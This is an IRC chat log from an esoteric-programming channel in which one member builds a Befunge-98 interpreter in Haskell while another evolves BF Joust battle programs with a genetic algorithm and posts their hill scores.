00:09:41 <elliott> In the second argument of `(.)', namely `fromEnum . (== 0)'
00:09:41 <elliott> In the second argument of `(>>=)', namely
00:09:41 <elliott> `push . fromEnum . (== 0)'
00:09:41 <elliott> In the expression: pop >>= push . fromEnum . (== 0)
00:09:48 <elliott> @hoogle Enum a => a -> Int32
00:09:48 <lambdabot> Prelude pred :: Enum a => a -> a
00:09:48 <lambdabot> Prelude succ :: Enum a => a -> a
00:09:48 <lambdabot> Prelude id :: a -> a
00:09:50 <elliott> >_<
00:09:52 <elliott> @hoogle Enum
00:09:52 <lambdabot> Prelude class Enum a
00:09:52 <lambdabot> Prelude enumFrom :: Enum a => a -> [a]
00:09:52 <lambdabot> Prelude enumFromThen :: Enum a => a -> a -> [a]
00:09:56 <elliott> @hoogle fromEnum
00:09:56 <lambdabot> Prelude fromEnum :: Enum a => a -> Int
00:10:33 * elliott just writes enumValue instead
00:10:51 <Deewiant> ?ty fromIntegral . fromEnum
00:10:52 <lambdabot> forall b a. (Num b, Enum a) => a -> b
00:10:59 <elliott> Yep.
00:11:02 <elliott> That's the implementation.
00:11:04 <elliott> Toggle stringmode: NNNO
00:11:14 <elliott> Deewiant: Let me guess: # isn't as simple as pos <- pos + delta.
00:11:27 <Deewiant> It should be, if your wrapping stuff works sensibly. :-P
00:11:30 <elliott> YAY
00:14:57 <elliott> HEY DEEWIANT
00:15:00 <elliott> IS REMAINDER MODULO OR REMAINDER
00:15:08 <Deewiant> Undef, I think.
00:15:15 <elliott> Oh, remainder.
00:15:18 <elliott> the % "Remainder" instruction, which pops two values, divides the second by the first using integer division, and pushes the remainder, of those. Remainder by zero is subject to the same rules as division by zero, but if either argument is negative, the result is implementation-defined.
00:15:25 <elliott> I forgot that there was a long table too.
00:15:57 <Lymia> !bfjoust evoc ...->-+----->+..>---->-+>--+>-..--.-.->->>>---+>+...(>---.-[+])*54->->>>+.>.><.
00:16:03 <EgoBot> Score for Lymia_evoc: 10.9
00:16:47 <Lymia> !bfjoust evoc_optimized ->----->+>---->>->----->->>>-->+(>[+])*1024
00:16:50 <EgoBot> Score for Lymia_evoc_optimized: 2.0
00:17:39 <Lymia> !bfjoust evoc_optimized ->----->+>---->>->----->->>>-->+(>[+].)*1024
00:17:43 <EgoBot> Score for Lymia_evoc_optimized: 1.7
00:17:46 <Lymia> >.<
00:18:17 <ais523> Lymia: that actually looks like a decent early program
00:18:29 <Lymia> It's generation 2200 or something.
00:18:37 <ais523> that's the sort of thing we were coming up with near the start of BF Joust play
00:18:39 <elliott> you really need breeding, I think
00:18:44 <elliott> Lymia: you could try it on an old hill
00:18:49 <elliott> they're available via hg
00:18:50 <ais523> the only reason it's doing badly on our hill is that all the programs are designed to beat that sort of thing
00:18:54 <Lymia> elliott, that might help.
00:18:57 <Lymia> ais523, heh.
00:19:00 <elliott> Lymia: although not the report, just the program set
00:19:46 <elliott> > (-3) rem 2
00:19:47 <lambdabot> -3
00:19:51 <elliott> > (-3) `rem` 2
00:19:52 <lambdabot> -1
00:20:00 <elliott> heh, how on earth did that first one parse
00:20:01 <elliott> :t (-3) rem
00:20:02 <lambdabot> forall t a. (Num ((a -> a -> a) -> t), Integral a) => t
00:20:05 <elliott> :D
00:20:07 <elliott> that's amazing
00:20:14 <Deewiant> > rem :: Int
00:20:15 <lambdabot> Couldn't match expected type `GHC.Types.Int'
00:20:15 <lambdabot> against inferred type ...
00:20:21 <elliott> :t \pop -> flip rem <$> pop <*> rem
00:20:23 <lambdabot> forall a. (Integral (a -> a), Integral a) => (a -> a -> a) -> a -> a -> a
00:20:26 <elliott> argh
00:20:27 <Deewiant> :t rem + rem
00:20:28 <lambdabot> forall a. (Integral a) => a -> a -> a
00:20:30 <elliott> :t \pop -> (flip rem) <$> pop
00:20:31 <lambdabot> forall a (f :: * -> *). (Integral a, Functor f) => f a -> f (a -> a)
00:20:58 <elliott> @hoogle f (a -> b) -> f a -> f
00:20:59 <lambdabot> Prelude (.) :: (b -> c) -> (a -> b) -> a -> c
00:20:59 <lambdabot> Data.Function (.) :: (b -> c) -> (a -> b) -> a -> c
00:20:59 <lambdabot> Prelude ($) :: (a -> b) -> a -> b
00:20:59 <elliott> @hoogle f (a -> b) -> f a -> f b
00:20:59 <lambdabot> Control.Applicative (<*>) :: Applicative f => f (a -> b) -> f a -> f b
00:21:00 <lambdabot> Control.Monad ap :: Monad m => m (a -> b) -> m a -> m b
00:21:01 <lambdabot> Control.Applicative (<**>) :: Applicative f => f a -> f (a -> b) -> f b
00:21:05 <elliott> :t \pop -> flip rem <$> pop <*> pop
00:21:06 <lambdabot> forall a (f :: * -> *). (Integral a, Applicative f) => f a -> f a
00:21:08 <elliott> yay!
00:21:21 <Lymia> I really need to learn Haskell.
00:21:21 <Lymia> :v
00:21:23 <elliott> I should probably have a "binary rem" for that.
00:21:35 <Lymia> Well...
00:21:41 <Lymia> More haskell than "general syntax"
00:24:25 <elliott> Deewiant: &~ should give 42 and 10 when provided with "42\n", right?
00:24:33 <elliott> I'd try Mycology but I'm nowhere near running it yet.
00:24:36 <elliott> i.e. does & consume a newline?
00:24:38 <Deewiant> I forget.
00:24:53 <Sgeo> What testsuites exists for other languages?
00:25:17 <elliott> Deewiant: Ah, I see, you want me to get it to Mycology-level before asking questions :-P
00:25:29 <elliott> :t getLine
00:25:30 <lambdabot> IO String
00:25:47 <Deewiant> No, I actually do forget. I spent some time messing with that.
00:25:58 <elliott> Right.
00:26:01 -!- Behold has quit (Remote host closed the connection).
00:26:04 <elliott> I have a feeling the \n actually is consumed.
00:29:01 <Lymia> hg clone *repo* right?
00:29:03 <Lymia> >>
00:29:44 <elliott> Lymia: yep.
00:29:51 <Lymia> !bfjoust evod +>((+>.--+<)*6<+>+>+>-.--.>+<+>)*3<>.<<>>.+>--+.++<.->+>>+><>(>--[+])*55>+<>->.+>++
00:29:55 <EgoBot> Score for Lymia_evod: 9.3
00:30:05 <elliott> 9.3 isn't a bad score.
00:30:15 <Lymia> Hmm..
00:30:16 <Lymia> Actually.
00:30:21 <elliott> for so little thinking time (a couple thousand generations aren't much)
00:30:28 <elliott> after all, it has no good strategies
00:30:31 <elliott> just really basic one
00:30:32 <elliott> s
00:30:48 <Lymia> Currently, it's picking the best fighter from within itself.
00:30:59 <Lymia> I could make it also count how well it does on the current hill for scoring.
00:31:13 <elliott> Hey Deewiant.
00:31:14 <elliott> '
00:31:15 <elliott> ^ full fungespace
00:31:20 <elliott> That pushes the character ' forever, right? :D
00:31:25 <Deewiant> No, it pushes a space
00:31:35 <Deewiant> Conceptually, your program is embedded in an infinite sea of spaces
00:31:50 <Deewiant> And ' fetches the next cell, not instruction.
00:32:39 <elliott> Deewiant: Oh, I see.
00:32:42 <elliott> Deewiant: So no wrapping there.
00:32:51 <elliott> so
00:32:52 <elliott> doCharIns '\'' = advance *> (push <$> peekHere)
00:32:54 <elliott> Is wrong.
00:32:55 <elliott> But I can fix it!
00:33:46 <Deewiant> Note that this is also why # over the edge of the program shouldn't skip anything on the other side, IMO. (Mycology calls it an UNDEF because I haven't bothered to change it, and Vorpal might get pissed at me.)
00:34:24 <elliott> doCharIns '#' = advance
00:34:26 <elliott> Hmm.
00:34:37 <elliott> Deewiant: You might be right. I'll add that as a TODO.
00:34:47 <Deewiant> I have "advance" and "go to next instruction" as separate functions. :-)
00:36:16 -!- cheater- has joined.
00:36:22 <elliott> doCharIns '\'' = do
00:36:23 <elliott> IP (x,y) (dx,dy) <- ip <$> get
00:36:23 <elliott> push =<< peek (x+dx, y+dy)
00:36:23 <elliott> advance
00:36:27 <elliott> This is easier than I expected.
00:36:49 <Deewiant> Redundant computation of x+dx and y+dy!!
00:37:02 <elliott> Deewiant: OH NOES
00:39:35 -!- cheater00 has quit (Ping timeout: 240 seconds).
00:39:45 <elliott> @do flip f <$> pop <*> pop >>= push
00:39:45 <lambdabot> do { a <- flip f <$> pop <*> pop; push a}
00:39:47 <elliott> Yay
00:40:09 <elliott> Deewiant: Hang on, what happens on underflow/overflow?
00:40:10 <Deewiant> Use fmap and ap and @unpl
00:40:20 <elliott> Please tell me I don't have to saturate or something.
00:40:22 <elliott> Also, what do you mean?
00:40:27 <elliott> I was just checking whether it parsed right.
00:40:40 <Deewiant> I thought you were wondering whether the <$> and <*> do the right thing
00:40:45 <elliott> Nope.
00:40:48 <elliott> I knew that part was right :)
00:40:50 <Deewiant> What do you mean, underflow/overflow
00:41:22 <elliott> Deewiant: i.e. (2^32 - 1) + 1
00:41:26 <elliott> 46.Output Integera writeint(a)
00:41:28 <elliott> Bet that means no newline
00:41:33 <Deewiant> It means space
00:41:37 <elliott> Deewiant: ...Seriously?
00:41:43 <Deewiant> Yes, and that's specced
00:41:46 <elliott> Oh :P
00:41:49 <elliott> I forgot this has an actual spec.
00:42:20 <Deewiant> But, under/overflow is, if not specced, either UNDEF or universally enough agreed to be 2's complement that it might as well be defined
00:42:25 <elliott> Right.
00:42:40 <elliott> [[These instructions will act as r does, should the standard output fail for any reason.]]
00:42:42 <elliott> TODO: That. FML.
00:43:06 <Deewiant> `catch` \(_ :: IOException) -> reflect
00:43:27 <HackEgo> No output.
00:43:34 <Deewiant> NO RLY
00:44:17 <Sgeo> Is it worth it to uninstall OOo and install LibreOffice?
00:44:37 <Sgeo> Too late anyway, but still
00:45:12 <ais523> Sgeo: it'll make basically no difference either way atm
00:45:12 <Lymia> `run shut up
00:45:13 <HackEgo> No output.
00:45:17 <Lymia> `run make love
00:45:20 <HackEgo> No output.
00:45:21 <ais523> they'll be a bit more different in a bit
00:45:23 <Lymia> :<
00:45:24 <elliott> Deewiant: Now I get to write ;.
00:45:32 <elliott> Deewiant: I'm really scared of k because I'll have to handle ; too :P
00:45:37 <elliott> Maybe I should have a nextSemicolon function.
00:45:54 <elliott> Deewiant: behaviour of fungespace ";" = ?
00:45:57 <Deewiant> "goto next instruction" as I said :-D
00:46:03 <Deewiant> Same as fungespace "", infloop
00:46:39 <Lymia> !bfjoust evoe >>((+<->>->>.>>)*1.+<->>+->[].>+.>+.)*1-+<+<+>..>-...+>>.+--->>-(.+>[+])*61..<-..>.--.<
00:46:49 <EgoBot> Score for Lymia_evoe: 0.4
00:47:01 <Lymia> Lv
00:47:02 <Lymia> :v
00:47:10 * Lymia kills the evolver process
00:49:13 <elliott> Deewiant: Fingerprint draft: Floating-point delta
00:49:21 <olsner> "would you mind letting me in?" "Yeah, sure." and then they let them in, just after saying they'd mind...
00:49:22 <Deewiant> Fuck you, too
00:49:47 <Sgeo> "20 minutes" "You've got 10"
00:49:53 <elliott> Deewiant: :D
00:49:56 <Sgeo> I wonder how many managers get ideas from that sort of thing
00:50:15 * Sgeo answers the OOo uninstaller survey. I just put "LibreOffice" for everything
00:50:20 <elliott> Err, don't [ and ] actually rotate by 45 degrees?
00:50:25 <elliott> Wait, no.
00:50:28 <elliott> They just swap dx and dy.
00:50:33 <elliott> ...no they don't.
00:50:45 <elliott> Turn left negates...
00:50:47 <elliott> Oh my god Deewiant.
00:50:49 <elliott> I've become retarded.
00:51:05 <Deewiant> 90 degrees, not 45.
00:51:12 <olsner> "become", you say
00:51:29 <elliott> olsner: >_>
00:51:41 <Deewiant> If you can't do it in your head, get a piece of paper, draw triangles and compute sines and cosines. :-D
00:51:48 <elliott> Deewiant: :D
00:53:46 <elliott> Deewiant: it sets dx = -dy, dy = dx, right? sorry i'm not going to get out a piece of paper, that would be surrendering to my 1am-brain
00:53:50 <elliott> which is like my normal brain but _even stupider_
00:54:15 <Deewiant> That's ]
00:54:19 <elliott> :D right
00:54:38 <elliott> [ just swaps dx and dy
00:54:41 <olsner> it's a stupider brain, but it would have paper
00:54:42 <elliott> unless i'm really mistaken
00:54:49 <Deewiant> [ does the converse
00:54:57 <elliott> oh
00:55:02 <elliott> dx = dy, dy = -dx
00:55:03 <elliott> right
00:55:14 -!- jcp has quit (Excess Flood).
00:56:56 <elliott> @undo do x <- pop; y <- pop; push x; push y
00:56:56 <lambdabot> pop >>= \ x -> pop >>= \ y -> push x >> push y
00:57:02 <elliott> @pop pop >>= \ x -> pop >>= \ y -> push x >> push y
00:57:02 <lambdabot> Maybe you meant: do map pl yow
00:57:04 <elliott> @pl pop >>= \ x -> pop >>= \ y -> push x >> push y
00:57:04 <lambdabot> (pop >>=) . (. push) . (>>) . push =<< pop
00:57:06 <Lymia> How long does hg clone usually take?
00:57:10 <elliott> Lymia: not long
00:57:11 <elliott> few minutes
00:57:15 <Lymia> :/
00:58:05 <Deewiant> elliott: @. pl undo
00:58:06 -!- jcp has joined.
00:58:13 <elliott> Deewiant: FANCY SCHMANCY
00:59:34 <elliott> @undo do x <- pop; if x == 0 then go east else go west
00:59:34 <lambdabot> pop >>= \ x -> if x == 0 then go east else go west
00:59:38 <elliott> @pl pop >>= \ x -> if x == 0 then go east else go west
00:59:38 <lambdabot> flip (flip if' (go east) . (0 ==)) (go west) =<< pop
00:59:40 <elliott> :D
01:00:11 <Deewiant> @pl pop >>= \x -> go (if x == 0 then east else west)
01:00:12 <lambdabot> go . flip (flip if' east . (0 ==)) west =<< pop
01:00:18 <olsner> nice pointless soupo
01:00:24 <olsner> *soup
01:00:49 <Deewiant> @pl pop >>= \x -> go ([east,west] !! (fromEnum (x /= 0)))
01:00:49 <lambdabot> go . ([east, west] !!) . fromEnum . (0 /=) =<< pop
01:01:38 <olsner> aww, was just about to suggest the (... !!).fromEnum solution
01:03:48 <elliott> :D
01:04:01 <elliott> lambdabot could replace everyone at Galois
01:04:17 <olsner> maybe lambdabot is just galois' shared irc account
01:04:19 <elliott> Deewiant: Does h do nothing or reflect in Befunge
01:04:25 <Deewiant> reflect
01:04:26 <elliott> "not available in"
01:04:27 <elliott> Right.
01:04:41 <ais523> the only things that do nothing in Befunge are things specifically specced to do nothing
01:04:51 <elliott> Deewiant: So is j a minetrap like k is?
01:04:54 <elliott> I guess not.
01:05:09 <Deewiant> j is just like a generalized #
01:05:23 <elliott> Right.
01:05:27 <elliott> :t replicateM
01:05:28 <lambdabot> forall (m :: * -> *) a. (Monad m) => Int -> m a -> m [a]
01:05:37 <elliott> doCharIns 'j' = pop >>= flip replicateM advance
01:05:37 <elliott> :D
01:06:34 <Deewiant> ?ty replicateM_
01:06:35 <lambdabot> forall (m :: * -> *) a. (Monad m) => Int -> m a -> m ()
01:07:10 -!- hagb4rd has quit (Ping timeout: 240 seconds).
01:12:38 <elliott> Indeed.
01:12:49 <elliott> Shiro/Interpreter.hs:127:16:
01:12:49 <elliott> Couldn't match expected type `()' against inferred type `FM ()'
01:12:49 <elliott> In the first argument of `(<$>)', namely `flip poke'
01:12:49 <elliott> In the first argument of `(<*>)', namely `flip poke <$> pop'
01:12:50 <elliott> what
01:13:02 <Deewiant> Sleep ->
01:15:59 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
01:16:25 <elliott> @hoogle (a -> b) -> m a -> m b
01:16:26 <lambdabot> Data.Traversable fmapDefault :: Traversable t => (a -> b) -> t a -> t b
01:16:26 <lambdabot> Prelude fmap :: Functor f => (a -> b) -> f a -> f b
01:16:26 <lambdabot> Control.Applicative (<$>) :: Functor f => (a -> b) -> f a -> f b
01:16:37 <elliott> @hoogle m (a -> b) -> m a -> m b
01:16:37 <lambdabot> Control.Applicative (<*>) :: Applicative f => f (a -> b) -> f a -> f b
01:16:38 <lambdabot> Control.Monad ap :: Monad m => m (a -> b) -> m a -> m b
01:16:38 <lambdabot> Control.Applicative (<**>) :: Applicative f => f a -> f (a -> b) -> f b
01:17:00 <elliott> wtff
01:18:22 <olsner> yes, there are at least 3 functions for doing that :)
01:19:19 <elliott> 115sStore Character/98c store-funge-space(position+delta,v)
01:19:20 <elliott> What?
01:19:22 <elliott> TODO: Figure out what.
01:19:53 <elliott> The u "Stack under Stack" instruction pops a count and transfers that many cells from the SOSS to the TOSS. It transfers these cells in a pop-push loop. In other words, the order is not preserved during transfer, it is reversed.
01:19:57 <elliott> *eurgh*
01:22:55 <elliott> 119wCompare/98/2Da b if (a>b) ']' elsif (a<b) '[' else 'z'
01:22:56 <elliott> lol
01:32:26 <elliott> $ runhaskell Shiro/Interpreter.hs
01:32:26 <elliott> Interpreter.hs: WTF? Executed 32. (Infinite wrapping loop?)
01:32:27 <elliott> on sanity.bf
01:32:28 <elliott> TODO: fix
01:32:29 <elliott> for now: sleep
01:32:59 <olsner> TODO: sleep
01:33:18 <olsner> good me, now I can postpone sleep for however long I want, it's on the TODO
01:34:57 <elliott> :D
01:34:58 -!- elliott has left (?).
01:39:45 -!- variable has quit (Quit: Daemon escaped from pentagram).
01:42:42 -!- variable has joined.
02:10:20 -!- Lymia_ has joined.
02:10:45 -!- ais523 has quit (Remote host closed the connection).
02:11:20 -!- Lymia has quit (Disconnected by services).
02:11:21 -!- Lymia_ has changed nick to Lymia.
02:11:21 -!- Lymia has quit (Changing host).
02:11:22 -!- Lymia has joined.
02:25:12 -!- poiuy_qwert has joined.
02:26:00 <Lymia> !bfjoust darwin-49-0 +>((-.><-<>->+)*1+<-.>+->[].++.>)*3-..-+>+++>->..---..+->>>--(><>-[+])*58+.>+-.>>->>-.<
02:26:56 <EgoBot> Score for Lymia_darwin-49-0: 1.2
02:30:13 <quintopia> Lymia: did you remove ()* yet?
02:30:25 <Lymia> ?
02:31:02 <quintopia> for evolving programs
02:36:32 -!- TLUL has quit (Read error: Connection reset by peer).
02:36:58 -!- TLUL has joined.
02:45:45 -!- sftp has quit (Ping timeout: 250 seconds).
02:49:13 <Lymia> !bfjoust darwin-151-0 +>(-(---<-+>->+)*1+<-->->.->[].++.>)*2>-.>-+<>..>->>+.-++..>-.>---(><>(-)*5[+])*57+<>>-+.<<>>>+.<
02:49:17 <EgoBot> Score for Lymia_darwin-151-0: 5.9
02:50:17 <quintopia> what does the number mean? fitness score?
02:51:40 <Lymia> Generation.
02:51:48 <Lymia> The second is ranking within the generation.
02:54:36 <Gregor> My music build setup is now 100% repeatable :)
02:54:56 <quintopia> wat
02:55:10 <quintopia> Lymia: so 0 is the highest ranking?
02:55:16 <Gregor> When I type 'make', I get bit-per-bit identical FLAC files every time.
02:55:34 <quintopia> did the bits wiggle before?
02:55:46 <Gregor> Not a lot, but enough *shrugs*
02:55:56 <Gregor> Not noticeably of course, but I want `cmp` to say they're the same :P
03:02:38 <Sgeo> I hate hate hate the way everyone teaches percents
03:02:52 <Sgeo> The formula for XYZ is whatever% times this divided by 100
03:03:38 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
03:03:38 <quintopia> huh
03:03:46 <quintopia> i do not know what you are talking about
03:03:56 <quintopia> and i don't remember ever being taught percent
03:04:01 <quintopia> certainly not in college
03:04:53 <Sgeo> Or is it *100? I don't even remember, because it's such a STUPID way to think about things with percents
03:05:15 -!- poiuy_qwert has joined.
03:08:05 <Lymia> !bfjoust darwin-232-0 +>(.-(---<.+>-->+)*1+<--<>->.>>[]-.->>)*1>-.>++<>...->>+..-+.+->>.>---(+>(-)*9[+])*61+<>.<>.+<+>><-.
03:08:15 <EgoBot> Score for Lymia_darwin-232-0: 11.8
03:09:45 <quintopia> wow...they really are improving
03:10:25 <Gregor> Are their only competitors themselves?
03:10:45 <Lymia> The hill too.
03:10:53 <Gregor> Ah, good.
03:13:36 <quintopia> but that one answers my question about getting rid of ()* in the evolution code :P
03:14:38 <Lymia> I'll do that sometime later
03:14:38 <Lymia> =p
03:14:39 <Lymia> Maybe.
03:15:16 <Lymia> !bfjoust darwin-264-0 .>(-(----<.+>-.->+)*1+<--<>->.->[].--<>)*1>-.>-+<><..->>+..++.+<>>>>---(.>(-)*9[+])*58.<>...+<+>>+-.
03:15:24 <EgoBot> Score for Lymia_darwin-264-0: 18.6
03:15:33 <Lymia> !bfjoust darwin-264-7 .>(-(----<.+>-.->+)*1+<--<>->.->[].--<>)*1>-.>-+<><..->>++..++.+<>>>--+(+.>(-)*9[+])*58.<>...+<+>>+-.
03:15:54 <EgoBot> Score for Lymia_darwin-264-7: 14.4
03:18:49 <quintopia> you doing any crossover?
03:19:43 <Lymia> No.
03:21:46 <Lymia> Gregor, hill is being climed.
03:21:47 <Lymia> =p
03:21:49 <Lymia> climbed*
03:22:23 <quintopia> so it's purely "take the top performers on each generation and mutate them slightly"?
03:22:27 <Lymia> Yes.
03:22:34 -!- TLUL has changed nick to TLUL|afk.
03:23:23 <quintopia> you make me want to write a bfj ga and try to do it better >_>
03:23:48 <quintopia> what's the mutation rate?
03:26:21 <Lymia> I don't exactly have a single number for mutation.
03:26:31 <Lymia> quintopia, if you want to try, good luck.
03:26:32 <Lymia> =)
03:26:41 <Lymia> It'd be an intresting compitition.
03:27:58 <quintopia> i'd feel bad about it tho because i could be using that time working on an assignment i'm already way behind on anyway...
03:32:50 <Lymia> !bfjoust darwin-341-0 ++>(-(---<---.>-->-)*4>-..<.+-<<-+-+-<-)*4+++>>>->..+<>+++>--+--.>>---(>(-)*6[+])*58>+>..-->++<.+-<
03:32:55 <EgoBot> Score for Lymia_darwin-341-0: 27.7
03:33:04 <Lymia> !bfjoust darwin-341-7 >>(-(--<--.>-->-)*4><...<+-+<-<-+-<>)*5<+.>>+>>..+><>+>+>+-+--.>>--.(>(-)*8[+])*57+->..-<><+>.+-<
03:33:17 <EgoBot> Score for Lymia_darwin-341-7: 10.0
03:33:36 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
03:35:15 -!- poiuy_qwert has joined.
03:38:27 <Lymia> The Darwin series rises.
03:38:32 <Lymia> =D
03:38:54 <Lymia> If you can't make them, grow them.
03:44:11 -!- azaq23 has joined.
03:46:02 -!- azaq231 has quit (Ping timeout: 246 seconds).
03:46:24 <Lymia> !bfjoust darwin-403 >(-(----<--.>--->-)*6><..<+-<<.<-+-<-)*4++..>+>+..+>>><>++.->--.>>>-<(>(-)*4[+])*60++<..+><+>.>-<
03:46:31 <EgoBot> Score for Lymia_darwin-403: 22.2
03:46:40 <Lymia> Bluh.
03:48:49 -!- Lymia_ has joined.
03:48:54 -!- Lymia has quit (Disconnected by services).
03:48:56 -!- Lymia_ has changed nick to Lymia.
03:48:58 -!- Lymia has quit (Changing host).
03:48:58 -!- Lymia has joined.
03:50:40 <Lymia> quintopia, so.
03:50:43 <Lymia> How's your evolver going?
03:50:49 <Lymia> If you're working on it at all.
03:51:25 <quintopia> oh
03:51:28 <quintopia> i am
03:51:40 <quintopia> i'm writing the bf interpreter
03:51:45 <quintopia> it'll be a while
03:51:57 <Lymia> BF interpreter?
03:52:10 <Lymia> >.<
03:52:19 <Lymia> private def runEgojoust(a:String, b:String) = rt.exec(Array[String](egojoustExecutable,a,b)).waitFor
03:52:23 <Lymia> Need I say more?
03:53:36 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
03:55:14 -!- poiuy_qwert has joined.
03:56:06 <quintopia> yes. i didn't know the existence of this executable
03:57:37 -!- nrkn has joined.
03:57:47 <Lymia> !bfjoust darwin-454-0 >(-(----<--->--->-)*5><..<+-<><.<-+--)*4>+..>+<+..+>>><>++..>--<>>>-<(>(-)*5[+])*59++<..+><+>.>-<
03:57:51 <EgoBot> Score for Lymia_darwin-454-0: 14.0
03:58:05 <Lymia> !bfjoust darwin-454-7 >((----<--->---->-)*5><..<+<>><.<-+--)*3>+.--><+..>>><++..>--<>>.<(>(-)*3[+])*61++<..>><.-.>->
03:58:09 <EgoBot> Score for Lymia_darwin-454-7: 12.1
03:59:12 <quintopia> Lymia: what's the command for checking out the bfjoust?
03:59:20 <Lymia> ?
03:59:51 <quintopia> the executable you're calling.
04:00:09 <quintopia> i'm sure it's in gregor's hg repos somewhere but i don't know anything about hg
04:00:30 <Lymia> hg clone *repo*
04:09:15 <Lymia> !bfjoust darwin-507-0 >((----<--->--->-)*5><..<<-<><.<--)*3>+.-+><++.>.>.++..>--.>>>-<(>(-)*1[+])*60++<..><<+-.>->
04:09:22 <EgoBot> Score for Lymia_darwin-507-0: 14.6
04:13:35 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
04:15:16 -!- poiuy_qwert has joined.
04:20:03 <quintopia> okay, got the executable and the hill downloaded...maybe it won't take as long now
04:20:07 <Lymia> quintopia, oh, I forgot to ask.
04:20:10 <Lymia> What language are you using?
04:20:24 <quintopia> to make it a fair battle of wits, what size generation are you using?
04:20:34 <Lymia> 8 bots.
04:21:01 <Lymia> I would use more if it wasn't so expensive to battle the bots agienst eachother.
04:22:35 * pikhq cleans the live autotune out of his ears.
04:23:38 <quintopia> you watched the fergiebowl?
04:23:47 <pikhq> OW OW OW OW OW.
04:24:59 <pikhq> Would it kill them to get *competent* musicians for a broadcast watched by a third of the country?
04:24:59 <quintopia> 8? wow. yeah. that's low. i'll do it that way anyway :P
04:25:34 <pikhq> Oh, wait. That would require there to be a competent and highly popular musician that's fairly recent.
04:25:37 <quintopia> pikhq: meh, it's only one third of one country, and it's the third we don't care about so...
04:25:41 <pikhq> Which ain't happening.
04:26:02 <pikhq> quintopia: I actually like football.
04:26:13 <Lymia> We are programmers!
04:26:18 <Lymia> Why would we like anything of that nature?
04:26:20 <Lymia> D=
04:26:22 <quintopia> pikhq: watching sports on tv does not have the hacker nature
04:26:29 <pikhq> quintopia: No, no it doesn't.
04:26:32 <pikhq> quintopia: I'm weird, mmkay?
04:27:25 <pikhq> quintopia: But, anyways, Fergie should be banned.
04:27:28 <quintopia> i like watching high school football though...i just can't be arsed to care about these people who get paid millions
04:27:30 <Lymia> For?
04:27:47 <pikhq> Lymia: Raping the ears of a third of the nation.
04:27:55 <Lymia> Heh.
04:28:45 <pikhq> She couldn't even hit a note *with autotune*.
04:31:04 <Lymia> Heh.
04:31:07 <Lymia> I just realized.
04:31:21 <Lymia> It would be a quick modification to make this evolver work for FYB.
04:33:34 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
04:34:23 <quintopia> Lymia: what parameters is ./egojoust expecting?
04:34:39 <Lymia> ./egojoust [program 1] [program 2]
04:34:44 <Lymia> It's return value is the number of wins program 2 had.
04:34:50 <Lymia> Well.
04:35:04 <Lymia> It's return value is the number of times program two won minus the number of times program 1 won.
04:35:15 -!- poiuy_qwert has joined.
04:35:33 <quintopia> how do i run a program against the entire hill in /programs?
04:35:55 <Lymia> What programming language are you using.
04:36:09 <quintopia> java
04:36:16 <Lymia> Figure out the solution
04:36:23 <quintopia> is it not done already in some program?
04:36:24 <Lymia> There isn't a builtin function for that.
04:36:35 <quintopia> eh, egobot does it
04:36:40 * quintopia pokes around
04:36:43 <Lymia> The code I wrote does target the JVM, but it's in Scala.
04:36:53 <Lymia> It also uses alot of functional programming concepts.
04:36:59 <Lymia> i.e. dosn't translate well into java at all
04:43:40 <Lymia> !bfjoust darwin-667-0 >-(----<--->--->-)*7<>+.-..<.<<-+<<->.>>>+>..-.>>+-++>-<><>.>---(>-[+])*59.++-><->..+<>-
04:43:47 <EgoBot> Score for Lymia_darwin-667-0: 18.2
04:44:01 <Lymia> !bfjoust darwin-667-7 >-(----<--->--->-)*7.>+....<.<<-+<<->.>->+>..-.>>+-++>-<><>.>---(>--[+])*59.+--><-<..<<>-
04:44:05 <EgoBot> Score for Lymia_darwin-667-7: 14.9
04:44:09 -!- azaq23 has quit (Ping timeout: 240 seconds).
04:52:38 <quintopia> found the command for running the whole tournament
04:53:24 <Lymia> Didn't use it.
04:57:15 <quintopia> well i'm gonna. beats computing scores myself :P
04:58:16 <Lymia> !bfjoust dawkings-50-0 >(-(----<--->--->-)*7<<+.<.+<..<<+-<-)*7>.>->+>.-+>>>>->+>>><.+>>>>+.->(.>-[+])*59+++.>+>>-<><-<
04:58:20 <EgoBot> Score for Lymia_dawkings-50-0: 3.5
04:58:25 <Lymia> :v
04:58:27 <Lymia> You know what.
04:58:30 <Lymia> I'm going to restart the entire sim.
04:58:37 <Lymia> And see if it comes up with something different.
05:00:45 <quintopia> annnnnnd...i'm not gonna write this program right now :P
05:01:38 -!- azaq23 has joined.
05:01:59 <Lymia> You have any idea how to?
05:02:00 <Lymia> =p
05:02:26 <Lymia> (It's not that hard. Mine is 308 lines of code, but.. well... you're using Java)
05:03:12 <quintopia> i know exactly how i'd do it, but i already feel guilty i'm not working on that other thing
05:03:40 <quintopia> and it would be many more than 308 lines the way i conceived it
05:04:49 <Lymia> quintopia, it might have alot to do with the langauge I'm using too.
05:05:14 <Lymia> programs = select(new File(outputDir,"generation-"+i),targets,(programs map mutate) ++ programs)
05:05:40 <Lymia> This line binds the selection code, the mutation code, and handles part of preventing regressions.
05:06:50 <quintopia> mm
05:08:59 <Lymia> ◕ ◡◡ ◕
05:09:42 <myndzi> ohay, i'm still second on the hill haha
05:09:51 <myndzi> though it looks like there's a new first
05:10:02 <Lymia> myndzi, I intend on pushing you off.
05:10:02 <Lymia> :<
05:10:09 <myndzi> lies
05:10:35 <myndzi> wow i have a lot of losses now
05:10:39 <Lymia> With the power of <s>natrual</s>artifical selection.
05:10:41 <myndzi> it used to be 100% wins or something
05:10:53 <myndzi> with the exception of wiggle or whatever but he just kept counteroptimizing and that was boring
05:11:24 <Lymia> myndzi, I'm using an evolotionary algorithm to optimize agienst the entire hill.
05:11:25 <Lymia> =
05:11:26 <Lymia> =p
05:11:41 <myndzi> s/optimize/flood/
05:11:52 <Lymia> Well.
05:11:57 <Lymia> That's one outcome of it!
05:12:02 <myndzi> if your entries have an edit distance of like 3, i think that's a little stupid :P
05:12:12 <Lymia> myndzi, heh.
05:12:25 <Lymia> I'm going run it for a night, and maybe a school day and see what comes out.
05:12:26 <quintopia> myndzi: you're actually in 3rd place now
05:12:38 <Lymia> 8 62.94 10.33 ais523_defend7.bfjoust
05:12:39 <Lymia> 19 56.86 7.50 myndzi_slowrush.bfjoust
05:12:39 <myndzi> i don't really care much though, i mean, i wrote that like years ago
05:12:41 <Lymia> That is third place?
